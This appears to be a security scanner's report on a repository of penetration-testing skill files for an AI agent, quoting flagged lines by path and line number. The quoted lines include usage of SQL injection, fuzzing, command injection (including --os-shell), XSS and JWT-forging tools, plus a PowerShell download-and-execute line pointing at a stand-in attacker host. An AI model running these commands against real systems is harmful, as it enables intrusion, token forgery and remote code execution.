whatweb -p WordPress,Joomla,Drupal https://target.com` - Network accessline 258
External References: - https://github.com/urbanadventurer/WhatWeb ## WAFW00F - Network accessline 259
- https://github.com/urbanadventurer/WhatWeb - Network accessline 267
pip3 install wafw00f Representative Commands: - WAF检测: `wafw00f https://target.com` - Network accessline 268
Representative Commands: - WAF检测: `wafw00f https://target.com` - 详细检测: `wafw00f https://target.com -v -a` - Network accessline 269
- WAF检测: `wafw00f https://target.com` - Network accessline 270
- 详细检测: `wafw00f https://target.com -v -a` - Network accessline 272
- 列出支持WAF: `wafw00f -l` External References: - https://github.com/EnableSecurity/wafw00f - Network accessline 273
External References: - https://github.com/EnableSecurity/wafw00f ## DNSRecon - Network accessline 274
- https://github.com/EnableSecurity/wafw00f - Network accessline 287
- 反向解析: `dnsrecon -r 192.168.1.0/24 -t rvl` External References: - https://github.com/darkoperator/dnsrecon - Network accessline 288
External References: - https://github.com/darkoperator/dnsrecon ## DNSEnum - Network accessline 289
- https://github.com/darkoperator/dnsrecon - Network accessline 301
- 指定DNS服务器: `dnsenum --dnsserver 8.8.8.8 target.com` External References: - https://github.com/fwaeytens/dnsenum - Network accessline 302
External References: - https://github.com/fwaeytens/dnsenum ## theHarvester - Network accessline 303
- https://github.com/fwaeytens/dnsenum - Network accessline 315
- 输出报告: `theHarvester -d target.com -b all -f report.html` External References: - https://github.com/laramies/theHarvester - Network accessline 317
- https://github.com/laramies/theHarvester
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-12-domain-penetration.md
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-13-web-penetration.md
- Network accessline 12
apt install sqlmap / pip install sqlmap Representative Commands: - 基础测试: `sqlmap -u "http://target.com/page?id=1"` - Network accessline 13
Representative Commands: - 基础测试: `sqlmap -u "http://target.com/page?id=1"` - 指定参数测试: `sqlmap -u "http://target.com/page?id=1&name=test" -p id` - Network accessline 14
- 基础测试: `sqlmap -u "http://target.com/page?id=1"` - Network accessline 15
- 指定参数测试: `sqlmap -u "http://target.com/page?id=1&name=test" -p id` - Network accessline 16
- POST请求测试: `sqlmap -u "http://target.com/login" --data="user=admin&pass=123"` - Network accessline 17
- 使用Cookie: `sqlmap -u "http://target.com/page?id=1" --cookie="PHPSESSID=xxx"` - Network accessline 18
- 指定数据库类型: `sqlmap -u "http://target.com/page?id=1" --dbms=mysql` - Network accessline 19
External References: - https://github.com/sqlmapproject/sqlmap/wiki/Usage ## Burp Suite - Network accessline 20
- https://github.com/sqlmapproject/sqlmap/wiki/Usage - Network accessline 37
Cluster bomb: 多个payload组合` External References: - https://portswigger.net/burp/documentation - Network accessline 38
External References: - https://portswigger.net/burp/documentation ## FFUF - Network accessline 39
- https://portswigger.net/burp/documentation - Network accessline 47
go install github.com/ffuf/ffuf/v2@latest Representative Commands: - 目录爆破: `ffuf -u http://target.com/FUZZ -w wordlist.txt` - Network accessline 48
Representative Commands: - 目录爆破: `ffuf -u http://target.com/FUZZ -w wordlist.txt` - 指定扩展名: `ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt` - Network accessline 49
- 目录爆破: `ffuf -u http://target.com/FUZZ -w wordlist.txt` - Network accessline 50
- 指定扩展名: `ffuf -u http://target.com/FUZZ -w wordlist.txt -e .php,.html,.txt` - Network accessline 51
- 参数模糊测试: `ffuf -u http://target.com/?param=FUZZ -w wordlist.txt` - Network accessline 52
- POST测试: `ffuf -u http://target.com -X POST -d "user=FUZZ&pass=test" -w wordlist.txt` - Network accessline 53
- Header测试: `ffuf -u http://target.com -H "Host: FUZZ.target.com" -w wordlist.txt` - Network accessline 54
External References: - https://github.com/ffuf/ffuf ## WFuzz - Network accessline 55
- https://github.com/ffuf/ffuf - Network accessline 63
pip install wfuzz Representative Commands: - 目录爆破: `wfuzz -c -w wordlist.txt http://target.com/FUZZ` - Network accessline 64
Representative Commands: - 目录爆破: `wfuzz -c -w wordlist.txt http://target.com/FUZZ` - 过滤响应: `wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ` - Network accessline 65
- 目录爆破: `wfuzz -c -w wordlist.txt http://target.com/FUZZ` - Network accessline 66
- 过滤响应: `wfuzz -c -w wordlist.txt --hc 404 http://target.com/FUZZ` - Network accessline 67
- POST测试: `wfuzz -c -w wordlist.txt -d "user=FUZZ&pass=test" http://target.com/login` - Network accessline 68
- Cookie测试: `wfuzz -c -w wordlist.txt -b "session=FUZZ" http://target.com/` - Network accessline 69
- Header测试: `wfuzz -c -w wordlist.txt -H "Host: FUZZ.target.com" http://target.com/` - Network accessline 70
External References: - https://github.com/xmendez/wfuzz ## Nikto - Network accessline 71
- https://github.com/xmendez/wfuzz - Network accessline 77
Web服务器漏洞扫描器,检测危险文件、过时组件和配置问题 Installation: apt install nikto / git clone https://github.com/sullo/nikto - Network accessline 78
Installation: apt install nikto / git clone https://github.com/sullo/nikto Representative Commands: - Network accessline 79
apt install nikto / git clone https://github.com/sullo/nikto - Network accessline 80
Representative Commands: - 基础扫描: `nikto -h https://target.com` - 指定端口和SSL: `nikto -h target.com -p 8443 -ssl` - Network accessline 81
- 基础扫描: `nikto -h https://target.com` - Network accessline 82
- 指定端口和SSL: `nikto -h target.com -p 8443 -ssl` - 使用代理: `nikto -h target.com -useproxy http://127.0.0.1:8080` - 指定测试插件: `nikto -h target.com -Plugins "apache_expect_xss;outdated"` - Network accessline 83
- 使用代理: `nikto -h target.com -useproxy http://127.0.0.1:8080` - Network accessline 85
- 输出报告: `nikto -h target.com -o report.html -Format htm` External References: - https://github.com/sullo/nikto - Network accessline 86
External References: - https://github.com/sullo/nikto ## OWASP ZAP - Network accessline 87
- https://github.com/sullo/nikto - Network accessline 93
OWASP官方Web应用安全测试平台 Installation: 下载: https://www.zaproxy.org/download/ / snap install zaproxy / docker pull ghcr.io/zaproxy/zaproxy - Network accessline 94
Installation: 下载: https://www.zaproxy.org/download/ / snap install zaproxy / docker pull ghcr.io/zaproxy/zaproxy Representative Commands: - Network accessline 95
下载: https://www.zaproxy.org/download/ / snap install zaproxy / docker pull ghcr.io/zaproxy/zaproxy - Network accessline 96
Representative Commands: - 自动扫描: `zap-cli quick-scan -s all -r https://target.com # 或使用API - Network accessline 97
- 自动扫描: `zap-cli quick-scan -s all -r https://target.com # 或使用API curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com"` - Network accessline 98
# 或使用API curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com"` - API扫描: `zap-api-scan.py -t https://target.com/api/swagger.json -f openapi` - Network accessline 99
curl "http://localhost:8080/JSON/ascan/action/scan/?url=https://target.com"` - Network accessline 100
- API扫描: `zap-api-scan.py -t https://target.com/api/swagger.json -f openapi` - Network accessline 102
# 浏览器配置代理后正常浏览 # ZAP自动进行被动漏洞检测` - Docker自动化: `docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html` - Network accessline 103
# ZAP自动进行被动漏洞检测` - Docker自动化: `docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html` External References: - Network accessline 104
- Docker自动化: `docker run -t ghcr.io/zaproxy/zaproxy zap-baseline.py -t https://target.com -r report.html` - Network accessline 105
External References: - https://www.zaproxy.org/ ## Arjun - Network accessline 106
- https://www.zaproxy.org/ - Network accessline 114
pip3 install arjun Representative Commands: - GET参数发现: `arjun -u https://target.com/page` - Network accessline 115
Representative Commands: - GET参数发现: `arjun -u https://target.com/page` - POST参数发现: `arjun -u https://target.com/api -m POST --include="Content-Type: application/json"` - Network accessline 116
- GET参数发现: `arjun -u https://target.com/page` - Network accessline 117
- POST参数发现: `arjun -u https://target.com/api -m POST --include="Content-Type: application/json"` - Network accessline 118
- 自定义字典: `arjun -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt` - Network accessline 119
- 批量扫描: `arjun -i urls.txt -o results.json --stable` External References: - https://github.com/s0md3v/Arjun - Network accessline 120
External References: - https://github.com/s0md3v/Arjun ## WFuzz - Network accessline 121
- https://github.com/s0md3v/Arjun - Network accessline 129
pip3 install wfuzz Representative Commands: - 目录Fuzz: `wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ` - Network accessline 130
Representative Commands: - 目录Fuzz: `wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ` - 参数Fuzz: `wfuzz -c -z file,params.txt --hh 0 "https://target.com/api?FUZZ=test"` - Network accessline 131
- 目录Fuzz: `wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt --hc 404 https://target.com/FUZZ` - Network accessline 132
- 参数Fuzz: `wfuzz -c -z file,params.txt --hh 0 "https://target.com/api?FUZZ=test"` - Network accessline 133
- 认证爆破: `wfuzz -c -z file,users.txt -z file,passwords.txt --hc 403 -d "user=FUZZ&pass=FUZ2Z" https://target.com/login` - Network accessline 134
- 子域名Fuzz: `wfuzz -c -z file,subs.txt --hc 404 -H "Host: FUZZ.target.com" https://target.com` - Network accessline 135
External References: - https://github.com/xmendez/wfuzz ## Commix - Network accessline 136
- https://github.com/xmendez/wfuzz - Network accessline 142
自动化命令注入漏洞检测和利用工具 Installation: apt install commix / pip3 install commix / git clone https://github.com/commixproject/commix - Network accessline 143
Installation: apt install commix / pip3 install commix / git clone https://github.com/commixproject/commix Representative Commands: - Network accessline 144
apt install commix / pip3 install commix / git clone https://github.com/commixproject/commix - Network accessline 145
Representative Commands: - 自动检测: `commix --url="https://target.com/page?cmd=test"` - 指定参数: `commix --url="https://target.com/api" --data="host=INJECT_HERE" -p host` - Network accessline 146
- 自动检测: `commix --url="https://target.com/page?cmd=test"` - Network accessline 147
- 指定参数: `commix --url="https://target.com/api" --data="host=INJECT_HERE" -p host` - Network accessline 148
- 获取Shell: `commix --url="https://target.com/page?ip=test" --os-cmd="id" - Network accessline 149
commix --url="https://target.com/page?ip=test" --os-shell` - Network accessline 150
- 绕过WAF: `commix --url="https://target.com/page?cmd=test" --tamper=base64encode --technique=t` - Network accessline 151
External References: - https://github.com/commixproject/commix ## Dalfox - Network accessline 152
- https://github.com/commixproject/commix - Network accessline 160
go install github.com/hahwul/dalfox/v2@latest Representative Commands: - URL扫描: `dalfox url "https://target.com/search?q=test"` - Network accessline 161
Representative Commands: - URL扫描: `dalfox url "https://target.com/search?q=test"` - 管道批量: `cat urls.txt | dalfox pipe --silence --only-poc` - Network accessline 162
- URL扫描: `dalfox url "https://target.com/search?q=test"` - Network accessline 163
- 管道批量: `cat urls.txt | dalfox pipe --silence --only-poc` - 自定义Payload: `dalfox url "https://target.com/q=test" --custom-payload payloads.txt --waf-evasion` - Blind XSS: `dalfox url "https://target.com/q=test" --blind https://your-xss-hunte - Network accessline 164
- 自定义Payload: `dalfox url "https://target.com/q=test" --custom-payload payloads.txt --waf-evasion` - Network accessline 165
- Blind XSS: `dalfox url "https://target.com/q=test" --blind https://your-xss-hunter.com` - Network accessline 166
External References: - https://github.com/hahwul/dalfox ## XSStrike - Network accessline 167
- https://github.com/hahwul/dalfox - Network accessline 173
高级XSS检测工具,支持反射/存储/DOM型XSS检测 Installation: git clone https://github.com/s0md3v/XSStrike && pip3 install -r requirements.txt - Network accessline 174
Installation: git clone https://github.com/s0md3v/XSStrike && pip3 install -r requirements.txt Representative Commands: - Network accessline 175
git clone https://github.com/s0md3v/XSStrike && pip3 install -r requirements.txt - Network accessline 176
Representative Commands: - 基础扫描: `python3 xsstrike.py -u "https://target.com/search?q=test"` - POST方式: `python3 xsstrike.py -u "https://target.com/comment" --data "content=test" --method POST` - Network accessline 177
- 基础扫描: `python3 xsstrike.py -u "https://target.com/search?q=test"` - Network accessline 178
- POST方式: `python3 xsstrike.py -u "https://target.com/comment" --data "content=test" --method POST` - Network accessline 179
- 模糊测试: `python3 xsstrike.py -u "https://target.com/q=test" --fuzzer` - Network accessline 180
- 爬虫模式: `python3 xsstrike.py -u "https://target.com" --crawl -l 3` - Network accessline 181
External References: - https://github.com/s0md3v/XSStrike ## Gopherus - Network accessline 182
- https://github.com/s0md3v/XSStrike - Network accessline 188
生成Gopher协议Payload,用于SSRF攻击内部服务 Installation: git clone https://github.com/tarunkant/Gopherus && pip install -r requirements.txt - Network accessline 189
Installation: git clone https://github.com/tarunkant/Gopherus && pip install -r requirements.txt Representative Commands: - Network accessline 190
git clone https://github.com/tarunkant/Gopherus && pip install -r requirements.txt - Network accessline 198
- SMTP Payload: `python2 gopherus.py --exploit smtp` External References: - https://github.com/tarunkant/Gopherus - Network accessline 199
External References: - https://github.com/tarunkant/Gopherus ## Smuggler - Network accessline 200
- https://github.com/tarunkant/Gopherus - Network accessline 206
HTTP请求走私漏洞检测工具 Installation: git clone https://github.com/defparam/smuggler && pip3 install -r requirements.txt - Network accessline 207
Installation: git clone https://github.com/defparam/smuggler && pip3 install -r requirements.txt Representative Commands: - Network accessline 208
git clone https://github.com/defparam/smuggler && pip3 install -r requirements.txt - Network accessline 209
Representative Commands: - 自动检测: `python3 smuggler.py -u https://target.com` - 指定技术: `python3 smuggler.py -u https://target.com -t CL.TE` - Network accessline 210
- 自动检测: `python3 smuggler.py -u https://target.com` - Network accessline 211
- 指定技术: `python3 smuggler.py -u https://target.com -t CL.TE` - Network accessline 212
- 批量测试: `cat urls.txt | python3 smuggler.py` External References: - https://github.com/defparam/smuggler - Network accessline 213
External References: - https://github.com/defparam/smuggler ## JWT Tool - Network accessline 214
- https://github.com/defparam/smuggler - Network accessline 220
JSON Web Token安全测试工具,支持伪造/破解/注入 Installation: pip3 install jwt_tool / git clone https://github.com/ticarpi/jwt_tool - Network accessline 221
Installation: pip3 install jwt_tool / git clone https://github.com/ticarpi/jwt_tool Representative Commands: - Network accessline 222
pip3 install jwt_tool / git clone https://github.com/ticarpi/jwt_tool - Network accessline 223
[Credential-related source omitted] - Network accessline 224
[Credential-related source omitted] - Network accessline 225
[Credential-related source omitted] - Network accessline 228
- 伪造Token: `jwt_tool eyJhbGciOi... -S hs256 -p "secret_key" -I -pc role -pv admin` External References: - https://github.com/ticarpi/jwt_tool - Network accessline 229
External References: - https://github.com/ticarpi/jwt_tool ## GraphQLmap - Network accessline 230
- https://github.com/ticarpi/jwt_tool - Network accessline 236
GraphQL API渗透测试工具,支持自省查询和注入 Installation: git clone https://github.com/swisskyrepo/GraphQLmap && pip3 install -r requirements.txt - Network accessline 237
Installation: git clone https://github.com/swisskyrepo/GraphQLmap && pip3 install -r requirements.txt Representative Commands: - Network accessline 238
git clone https://github.com/swisskyrepo/GraphQLmap && pip3 install -r requirements.txt - Network accessline 239
Representative Commands: - 自省查询: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x dump_schema` - 字段枚举: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x enum` - Network accessline 240
- 自省查询: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x dump_schema` - Network accessline 241
- 字段枚举: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x enum` - Network accessline 242
- SQL注入: `python3 graphqlmap.py -u https://target.com/graphql --method POST -x nosqli` - Network accessline 243
External References: - https://github.com/swisskyrepo/GraphQLmap ## Cadaver - Network accessline 244
- https://github.com/swisskyrepo/GraphQLmap - Network accessline 252
apt install cadaver Representative Commands: - 连接WebDAV: `cadaver https://target.com/webdav/` - Network accessline 253
Representative Commands: - 连接WebDAV: `cadaver https://target.com/webdav/` - 上传文件: `# 在cadaver交互式Shell中: - Network accessline 254
- 连接WebDAV: `cadaver https://target.com/webdav/` - Network accessline 261
mget *.bak` External References: - https://github.com/notroj/cadaver - Network accessline 263
- https://github.com/notroj/cadaver
deepsec/spear/skills/specialized/pentest-tools/references/tools-reference-14-windows-penetration.md
- Network accessline 11
Representative Commands: - 执行策略绕过: `powershell -ExecutionPolicy Bypass -File script.ps1` - 远程下载执行: `IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")` - Network accessline 12
- 执行策略绕过: `powershell -ExecutionPolicy Bypass -File script.ps1` - 远程下载执行: `IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")` - 编码执行: `powershell -EncodedCommand BASE64_ENCODED_COMMAND` - Network accessline 13
- 远程下载执行: `IEX (New-Object Net.WebClient).DownloadString("http://attacker.com/script.ps1")` - Network accessline 19
Get-WmiObject Win32_Process | Select-Object Name,ProcessId,CommandLine` External References: - https://github.com/darkoperator/Posh-SecMod - Network accessline 21
- https://github.com/darkoperator/Posh-SecMod
deepsec/spear/skills/specialized/rapid-checklist/references/testing-methodology.md
- Access to secretsline 119
[Credential-related source omitted] - Access to secretsline 352
[Credential-related source omitted] - Network accessline 533
> 官方地址: https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/ - Network accessline 550
> 官方地址: https://genai.owasp.org/resource/agentic-ai/ - Network accessline 567
> 官方地址: https://owasp.org/www-project-web-security-testing-guide/
deepsec/spear/skills/specialized/redteam-ad-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-api-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-auth-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-cache-poison-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-clickjacking-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-cloud-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-cmdi-detail-pack/SKILL.md
- Dangerous shell operationline 31
- 不得执行 rm -rf / format 等破坏性系统命令
deepsec/spear/skills/specialized/redteam-cmdi-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-code-audit-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-container-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-cors-miscfg-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-crypto-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-csrf-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-cve-lookup/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-cve-validation/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-deserialize-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-evasion-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-file-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-injection-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-logic-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-mobile-detail-pack/SKILL.md
- Access to secretsline 18
[Credential-related source omitted]
deepsec/spear/skills/specialized/redteam-mobile-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-network-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-open-redirect-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-payload-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-postex-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-recon-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-recon-intake/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-reverse-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-sqli-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-ssrf-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-ssti-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-subdomain-takeover-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-web-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-xss-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/redteam-xxe-detail-pack/references/upstream-source.md
- Network accessline 3
Imported from `https://github.com/chAng-L19/codex-redteam-mode/`.
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-agent-cot.md
- Network accessline 66
http://youtube.com/watch?v=7ZA0Z1R-MjQ - Network accessline 67
http://youtube.com/watch?v=KksYizcLFH0 - Network accessline 121
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html - Network accessline 175
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Unauthorized_Code_Execution.html - Network accessline 176
https://www.calvin-risk.com/blog/decoding-llm-risks-a-comprehensive-look-at-unauthorized-code-execution - Network accessline 254
https://portswigger.net/web-security/llm-attacks - Network accessline 302
https://labs.withsecure.com/publications/llm-agent-prompt-injection - Network accessline 354
https://labs.withsecure.com/publications/llm-agent-prompt-injection - Network accessline 402
http://youtube.com/watch?v=7ZA0Z1R-MjQ - Network accessline 403
http://youtube.com/watch?v=KksYizcLFH0 - Network accessline 465
https://mp.weixin.qq.com/s/9JwADiu9t3kqcfqnRMC2zQ - Network accessline 466
https://finance.sina.com.cn/tech/digi/2025-06-01/doc-ineypqvh0855918.shtml - Network accessline 467
https://zhuanlan.zhihu.com/p/1900540531131523166
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-deploy.md
- Network accessline 97
https://drive.google.com/file/d/1CTVcliUblX35cWfB49Xjhf8xk-fM3QH1/edit?pli=1 - Network accessline 151
https://analyticsindiamag.com/metas-llama-leaked-to-the-public-thanks-to-4chan/ - Network accessline 152
https://knightcolumbia.org/blog/the-llama-is-out-of-the-bag-should-we-expect-a-tidal-wave-of-disinformation
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-mcp.md
- Access to secretsline 31
[Credential-related source omitted] - Network accessline 64
https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks - Network accessline 65
https://atlas.mitre.org/techniques/AML.T0051 - Network accessline 66
https://github.com/invariantlabs-ai/mcp-injection-experiments - Network accessline 127
https://invariantlabs.ai/blog/mcp-security-notification-tool-poisoning-attacks - Network accessline 128
https://mp.weixin.qq.com/s/EJLb1IwqbPF3VSDkJu099g - Network accessline 129
https://x.com/hongming731/status/1922261630664245326 - Network accessline 130
https://news.qq.com/rain/a/20250429A07QY000 - Network accessline 191
https://blog.trailofbits.com/2025/04/21/jumping-the-line-how-mcp-servers-can-attack-you-before-you-ever-use-them/ - Network accessline 192
https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/ - Network accessline 258
https://blog.trailofbits.com/2025/04/29/deceiving-users-with-ansi-terminal-codes-in-mcp/ - Network accessline 259
https://www.solo.io/blog/deep-dive-mcp-and-a2a-attack-vectors-for-ai-agents
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-prompt.md
- Network accessline 66
https://aclanthology.org/2024.scalellm-1.2/ - Network accessline 67
https://atlas.mitre.org/techniques/AML.T0051 - Network accessline 68
https://josephthacker.com/ai/2023/05/19/prompt-injection-poc.html - Network accessline 69
https://simonwillison.net/2022/Sep/12/prompt-injection/ - Network accessline 146
https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2 - Network accessline 203
https://atlas.mitre.org/techniques/AML.T0051.001 - Network accessline 204
https://twitter.com/random_walker/status/1636923058370891778 - Network accessline 205
https://medium.com/@harry.hphu/introduction-to-web-llm-attacks-indirect-prompt-injection-7bb9f154bc07 - Network accessline 206
https://medium.com/@dinob5551/indirect-prompt-injection-the-hidden-threat-lurking-in-ai-730b009dd5fb - Network accessline 246
https://embracethered.com/blog/posts/2024/chatgpt-persistent-denial-of-service/ - Network accessline 247
https://openai.com/index/memory-and-new-controls-for-chatgpt/ - Network accessline 298
https://mp.weixin.qq.com/s/2bm7nuXkORLZ20mfpOmwrA - Network accessline 448
https://promptengineering.org/mind-over-malware-battling-the-growing-arsenal-of-attacks-on-large-language-models/ - Network accessline 449
https://www.toolify.ai/ai-news/the-future-of-hacking-5-terrifying-llm-security-threats-544868 - Network accessline 488
https://mp.weixin.qq.com/s/eFDQWYYCOe_SSiourhTxig - Network accessline 533
https://arxiv.org/html/2402.16914v1
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-app-train.md
- Network accessline 55
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 56
https://cloud.baidu.com/article/3253170 - Network accessline 57
https://www.akto.io/blog/insecure-output-handling-in-llms-insights - Network accessline 58
https://journal.hexmos.com/insecure-output-handling/ - Network accessline 59
https://systemweakness.com/new-prompt-injection-attack-on-chatgpt-web-version-ef717492c5c2 - Network accessline 112
https://sec.cafe/handbook/security_research/ai_security/llm_security/attack/ - Network accessline 157
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/SSRF.html - Network accessline 158
https://www.horizon3.ai/attack-research/attack-blogs/nextchat-an-ai-chatbot-that-lets-you-talk-to-anyone-you-want-to/ - Network accessline 159
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 203
https://genai.owasp.org/wp-content/uploads/2024/05/OWASP-Top-10-for-LLM-Applications-v1_1_Chinese.pdf - Network accessline 253
https://www.wehelpwin.com/article/5063 - Network accessline 254
https://medium.com/nfactor-technologies/rag-poisoning-an-emerging-threat-in-ai-systems-660f9ff279f9 - Network accessline 255
https://ironcorelabs.com/security-risks-rag/ - Network accessline 311
https://arxiv.org/html/2312.04724v1 - Network accessline 357
https://security.tencent.com/index.php/blog/msg/209 - Network accessline 422
https://hiddenlayer.com/research/insane-in-the-supply-chain/
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-baseline-app.md
- Network accessline 66
https://atlas.mitre.org/techniques/AML.T0029 - Network accessline 67
https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v05.pdf - Network accessline 68
https://www.cnblogs.com/LittleHann/p/17596696.html - Network accessline 118
https://blog.securelayer7.net/owasp-top10-for-large-language-models/ - Network accessline 119
https://www.mufeedvh.com/llm-security/#2-sandboxing-extended-llms - Network accessline 120
https://owasp.org/www-project-top-10-for-large-language-model-applications/Archive/0_1_vulns/Inadequate_Sandboxing.html - Network accessline 177
https://mp.weixin.qq.com/s/tf4ljSJ0Ue0YniojWhYMKg - Network accessline 178
https://www.wiz.io/blog/wiz-and-hugging-face-address-risks-to-ai-infrastructure - Network accessline 228
https://pradiptabanerjee.medium.com/confidential-containers-for-large-language-models-42477436345a - Network accessline 231
https://www.run.ai/guides/kubernetes-architecture/securing-your-ai-ml-kubernetes-environment - Network accessline 276
https://mp.weixin.qq.com/s/Ry1PoZLfPvw6Lj8bz14mgw
deepsec/spear/skills/specialized/secknowledge-skill/references/ai-baseline-deploy.md
- Network accessline 69
https://github.com/knownsec/KCon/blob/master/2023/CICD%E6%94%BB%E5%87%BB%E5%9C%BA%E6%99%AF.pdf - Network accessline 114
https://xie.infoq.cn/article/536a3e7e776eb32b38d1a9747 - Network accessline 115
https://www.helloaliyun.com/tutorial/1039.html - Network accessline 116
https://support.huaweicloud.com/usermanual-gaussdbformysql/gaussdbformysql_05_0347.html - Network accessline 165
https://developer.aliyun.com/article/1430094 - Network accessline 232
